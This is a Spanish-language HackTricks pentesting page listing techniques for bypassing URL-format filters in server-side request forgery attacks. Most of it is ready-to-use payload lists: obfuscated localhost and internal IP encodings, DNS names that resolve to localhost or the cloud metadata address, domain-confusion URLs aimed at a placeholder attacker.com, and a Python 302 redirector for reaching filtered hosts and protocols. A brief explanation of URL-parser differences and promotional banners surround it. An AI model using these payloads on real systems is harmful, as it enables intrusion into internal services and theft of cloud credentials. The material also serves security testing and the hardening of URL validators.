hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md

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# Bypass de Formato de URL
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<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
**Grupo de Seguridad Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
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### Localhost
```bash
# Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪
# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821
# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001
# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
# Add 0s bypass
127.000000000000.1
# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php
# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../.gitbook/assets/image (649) (1) (1).png>)
La extensión de **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypasses de formato de IP.
### Analizador de dominio
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```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
```
```
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Confusión de Dominio
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```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Bypass de Formato de URL
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Si se requiere que la URL termine en un camino o una extensión, o que contenga un camino, puedes probar uno de los siguientes bypasses:
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```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
La herramienta [**recollapse**](https://github.com/0xacb/recollapse) puede generar variaciones a partir de una entrada dada para intentar evadir la expresión regular utilizada. Consulta [**esta publicación**](https://0xacb.com/2022/11/21/recollapse/) también para obtener más información.
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### Bypass a través de redirección
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Podría ser posible que el servidor esté **filtrando la solicitud original** de un SSRF **pero no** una posible respuesta de **redirección** a esa solicitud.\
Por ejemplo, un servidor vulnerable a SSRF a través de: `url=https://www.google.com/` podría estar **filtrando el parámetro de url**. Pero si utilizas un [servidor python para responder con un 302](https://pastebin.com/raw/ywAUhFrv) al lugar donde deseas redirigir, podrías ser capaz de **acceder a direcciones IP filtradas** como 127.0.0.1 o incluso a **protocolos** filtrados como gopher.\
[Consulta este informe.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
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```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
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class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
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HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Trucos Explicados
### Truco de la barra invertida
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El _truco de la barra invertida_ explota una diferencia entre el [Estándar de URL WHATWG](https://url.spec.whatwg.org/#url-parsing) y [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Mientras que RFC3986 es un marco general para URIs, WHATWG es específico para URLs web y es adoptado por navegadores modernos. La distinción clave radica en el reconocimiento del estándar WHATWG de la barra invertida (`\`) como equivalente a la barra diagonal (`/`), impactando en cómo se analizan las URLs, marcando específicamente la transición del nombre de host al camino en una URL.
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![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
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### Otras Confusiones
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![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>)
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imagen de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## Referencias
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
**Grupo de Seguridad Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>